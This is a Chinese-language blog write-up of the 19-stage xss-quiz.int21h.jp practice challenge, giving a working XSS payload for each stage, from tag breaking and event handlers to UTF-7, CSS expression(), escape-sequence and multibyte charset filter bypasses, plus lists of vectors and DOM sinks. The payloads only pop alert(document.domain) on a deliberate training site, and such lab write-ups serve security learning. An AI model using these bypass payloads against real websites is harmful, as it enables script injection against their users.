2013 XSS Challenges Stage 解题报告

xss: http://xss-quiz.int21h.jp/

这是一个日本的孩子写得xss测试关卡,一共19关,对大神来说可能没什么。。

但是对我这个小菜来说,感觉学到了很多东西。。

在解题的过程中,特别感谢蓝蓝大神的倾心指导。。

这次过关,也算是对xss的一个入门吧。。


==========================================================

1.

http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9

Hint: very simple...

用IE浏览器:

1"</b><script>alert(document.domain);</script><b>"1


2.

http://xss-quiz.int21h.jp/stage2.php?sid=f2d7d60125bdddb208fa757ee5cdae22f6818cd1
Hint: close the current tag and add SCRIPT tag...  

用IE浏览器:

1"</b><script>alert(document.domain);</script><b>"1


3.

http://xss-quiz.int21h.jp/stage-3.php?sid=3cd1eb9b27daae73478e861bb2476768d7dda3b1
Hint: The input in text box is properly escaped.    


被过滤
<  <
>  >
&  &
"  "
个人觉得,从搜索这方面已经没法绕过了


表单源代码如下:
<form action="?sid=ab369c5dddf10acefa8098e47b6c40b8400edf21" method="post">
Search a place: <input type="text" name="p1" size=30>
<input type="submit" value="Search">  
Choose a country: <select name="p2">
<option>Japan</option>
<option>Germany</option>
<option>USA</option>
<option>United Kingdom</option>
</select><hr class=red>We couldn't find any places called <b>"<>#&"</b> in <b>Japan</b>.<hr class=red></form>

听别的大神说要绕过select。。。
尝试绕过select,在浏览器地址栏输入:
javascript:void(document.forms[0].p2.childNodes[1].innerText='<script>alert(document.domain)</script>');
OK


4.
http://xss-quiz.int21h.jp/stage_4.php?sid=04fb39847db7e3f24b1287a4be7e22b1ba79ec74
Hint: invisible input field

修改hackme的那个input的type为text,
在输入框中输入:
"/><script>alert(document.domain);</script><a>"



5.
http://xss-quiz.int21h.jp/stage--5.php?sid=40b33710efa4a848d21b5a6dd47671e82c31d853
Hint: length limited text box

把maxlength=15改成:200
在输入框中输入:
"/><script>alert(document.domain);</script><a>"




6.
http://xss-quiz.int21h.jp/stage-no6.php?sid=236f8f125f43d1efffd8f96d6f8f5b590d880847
Hint: event handler attributes

提示是:event handler attributes
英语不好,乍一看被这三个单词唬住了。。
后来翻阅资料才知道:
类似:<body onload="alert('xss')">
就是event handler attributes...

输入框输入:
" onmousemove="alert(document.domain)

==================无聊别看==========================
Ps:
XSS利用的时候,分3大类

一、Features that allow scripting 特性
Script tags: <script src="http://www.xxx.com/xss.js">
Event handler attributes: <body onload="alert('xss')">
CSS: <p style="background:url('javascript:alert(1)')">
URLs:<img src="javascript:alert('XSS')">

二、Proprietary extensions to HTML 私有拓展

XML data islands(IE) :
<xml src="http://www.xx.com/xss.xml" id="x">
<span datasrc="#x" datafld="c" dataformatas="html">


JavaScript expressions in attribute(NS4):
<p id="&{alert('XSS')}">


Conditional comments(IE)
<!--[if gte IE 4]>
<script>alert('XSS')</script>
<![endif]-->

三、浏览器bugs
IE6 + UTF8:
<body foo="\xC0" bar=" onload=alert(1);//">


Firefox and IE7:
<body foo="?" 
      bar=" onload=alert(1);//">


IE6:
<body foo="? bar=" onload=alert(1);//">


Attribute parsing in Firefox < 2.0.0.2
<body onload!@#$@#%#@$^=alert("XSS")>

=====================================================


7.
http://xss-quiz.int21h.jp/stage07.php?sid=6fbeba7fd57ce51cf3bb463c8cae1da350722b2e
Hint: nearly the same... but a bit more tricky.

" onmouseover=alert(document.domain)

这个能过纯属巧合。。
至今不知道服务器程序是怎么写得。。

目测是:等号两边加引号。。


8.
http://xss-quiz.int21h.jp/stage008.php?sid=b3d0fe99bca156329272fa022f49c556e0a30d80
Hint: the 'javascript' scheme.

百度了下:: the 'javascript' scheme.
然后出来: http://tools.ietf.org/html/draft-hoehrmann-javascript-scheme-03
Ctrl+F:scheme
搜到:As an example,
consider a HTML document containing a hyperlink like:
<a href='javascript:doSomething()'>...</a>
输入:
javascript:alert(document.domain) 

 
9.
http://xss-quiz.int21h.jp/stage_09.php?sid=aac40201929779e17453875d9d1ebf4ce706f56f
Hint: UTF-7 XSS

搜索下:utf7 xss ,这里有个文章 http://lcx.cc/?i=2862
这篇文章还有一个小工具(UTF-7编码解码工具)。。
Ps:大部分浏览器都修正了这个错误,但是IE还是有的。。

" onmousemove="alert(document.domain)
转:
+ACIAIABvAG4AbQBvAHUAcwBlAG0AbwB2AGUAPQAiAGEAbABlAHIAdAAoAGQAbwBjAHUAbQBlAG4AdAAuAGQAbwBtAGEAaQBuACk-
并且修改charset为type=text,输入:UTF-7
回车,OK


10.
http://xss-quiz.int21h.jp/stage00010.php?sid=6e00f25c30db1832340f83e614b48b2c40290cdb
Hint: s/domain//g;

乍一看觉得是linux的替换命令。。
应该是正则表达式,那么domain可以替换成:domaidomainn,中间的一个domain会被替换成NULL,那么就剩下一个domain
a" onmouseover="alert(document.domaidomainn)"



11.
http://xss-quiz.int21h.jp/stage11th.php?sid=16da532d066ad4f9e66404d40e1a7773667e7a5d

Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"


a" onmouseover="alert(document.domain)   ERROR

"s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" 这两个东西会死一大批。。
说明不要局限到这个input框里面,要调到js的代码中。。
这是看别人的答案做出来的:
结果还是用
"><a href="javascr	ipt:alert(document.domain);">xss</a>"><a

&#x09; 是什么呢?
请查表:
http://blog.csdn.net/xihuanqiqi/article/details/16986259
============无聊别看=================
	        &#09;	&#x09;	Horizontal Tab
 	 	&#10;	&#x10;	Line Feed
 	 	&#32;	&#x20;	Space
===========================================
好吧,那为什么同样是HTML的转义,
a" on&#x09;mouseover="alert(document.domain)
就不行呢?
做了个小实验:
a" on&#x09;mouseover="&#x09;alert(document.domain)
发现括号内的有效,
猜想:这个HTML的转义应该是针对字符串的啦~~
总结:以后尽量把结果引向<a href="">


12.
http://xss-quiz.int21h.jp/stage_no012.php?sid=6400cfbbdc76260ee1b744a70ece4457cc51656e
Hint: "s/[\x00-\x20\<\>\"\']//g;"

额,这个特别狠毒。。
把x00-x20的给过滤了。。
把<,>给过滤了。。
把单引号,双引号,给过滤了。。
`` onmousemove=alert(document.domain) 
这个必须IE下!!!``,就是笔记本上数字1左边的那个键,shirt下是它,非shirt是波浪线。。
只有IE才有这个特性。。
可以把这个value给闭合。。而不是value后全部是字符串。。


13.
http://xss-quiz.int21h.jp/stage13_0.php?sid=612cba01e3c41307770cc941435ab36ac836cc68

Hint: style attribute 

如何在CSS样式中利用expression实现JavaScript中的onmouseover/onmouseout事件 

aa:expression(onmouseover=function(){alert(document.domain)})
在CSS样式中注入这段代码就能弹了。。
但是现实环境中怎么可能有如此简单就能插入的地方。。
很难找到的说。。
话说,现实中怎么利用呢?
有2种注入:
(1)@import 和 expression
@import "http://web/xss.css"
@import 'javascript:alert("xss")'
body{xss:expression(alert('xss'))]
<img style="xss:expression(alert('xss'))">

(2)css代码中js,vs脚本
body{backgroud-image:url(javascript:alert('xss'))}
body{backgroud-image:url(vbscript:msgbox('xss'))}


14.
http://xss-quiz.int21h.jp/stage-_-14.php?sid=0ccb3bac891178e3bd1966b5624529302f5efcf0
Hint: s/(url|script|eval|expression)/xxx/ig;  

aa:expression(onmouseover=function(){alert(document.domain)})
有4种能绕过正则过滤:
(1)e -> \0065 
aa:\0065xpression(onmouseover=function(){alert(document.domain)})   ERROR
(2)加入\隔断
aa:e\xpression(onmouseover=function(){alert(document.domain)})         ERROR
(3)加入\0隔断
aa:e\0xpression(onmouseover=function(){alert(document.domain)})       OK
(4)加入\**\隔断
aa:e\**\xpression(onmouseover=function(){alert(document.domain)})    ERROR

补充,有一天看到了别人的答案,吓了一跳。。
xss:expre/**/ssion(window.x?0:(alert(document.domain),window.x=1)); 

莫非我的第四点错了?
改成
(4)加入/**/断
aa:e/**/xpression(onmouseover=function(){alert(document.domain)})    OK


15.
http://xss-quiz.int21h.jp/stage__15.php?sid=ad5047a9726b236d7a5d2ab3aef227f779c61555
Hint: document.write();  
<script>alert(document.domain);</script>
发现题目把
<变成了&lt;
>变成了&gt;
怎么绕过<和>呢?
16进制编码:
< 变成了 \x3c 
> 变成了 \x3e
\x3cscript\x3ealert(document.domain);\x3c/script\x3e  ERROR
过滤了单个\
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e  OK


16.
http://xss-quiz.int21h.jp/stage00000016.php?sid=4ba92c2b20cd3b70e153bf21a63f21391fe8d589
Hint: "document.write();" and "s/\\x/\\\\x/ig;"  

这个正则摆明了就是要吃掉16进制,我们换其他的表达方式:十进制\60, \u003c
为什么这里要两个\\,是为了在写我们插入的代码的时候换一个\
\\60script\\62alert(document.domain);\\60/script\\62                       ERROR 
\\0060script\\0062alert(document.domain);\\0060/script\\0062        ERROR
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e  OK

在这里把能引起Dom XSS的入口函数总结下:
document.write()  
document.writeln()  
document.body.innerHtml  
eval()  
window.execScript()  
window.setInterval()  
window.setTimeout() 


17.
http://xss-quiz.int21h.jp/stage-No17.php?sid=ba90ec457c25fad90c2715a86fe3a07be846dc7f
Hint: multi-byte character

半角片假名使用两个字节来表示。
“第一位字节”使用0x8E
“第二位字节”使用0xA1-0xDF

JIS X 0208字元使用两个字节来表示。
“第一位字节”使用0xA1-0xFE
“第二位字节”使用0xA1-0xFE

JIS X 0212字元使用三个字节来表示。
“第一位字节”使用0x8F
“第二位字节”使用0xA1-0xFE
“第三位字节”使用0xA1-0xFE

双引号是0x22,这道题应该在Name框中使用某个东东吃掉Name框第二个“
然后和Mail框的第一个“闭合
看了下别人的答案,思路都差不多:
最终效果:
1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
但是版本问题,没法显示。。


Ps:楼上的%A7,是要抓包,修改的,而不是在请求的时候修改,记得把length修改对。

Ps:楼上的%A7,是随意的,只要是符合上面说的第一个字节范围即可。。


18.

http://xss-quiz.int21h.jp/stage__No18.php?sid=4293f3e546c32c4dc375b8063896254e64fc9198
Hint: us-ascii high bit issue

本来没什么思路,看了下别人的答案,大概知道了:

就是把最高位置为1即可

比如说:

< 的16进制是3C,2进制是0011 1011,最高位置为1之后,变成1011 1011 ,也就是BC

> 同理变成BE

“ 同理变成A2

所以:

"><script>alert(document.domain)</scirpt>

就变成:

%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE

Ps:这里我的高版本IE又一次失败了,蓝蓝大神的IE6成功了。。



你可能感兴趣的:(2013 XSS Challenges Stage 解题报告)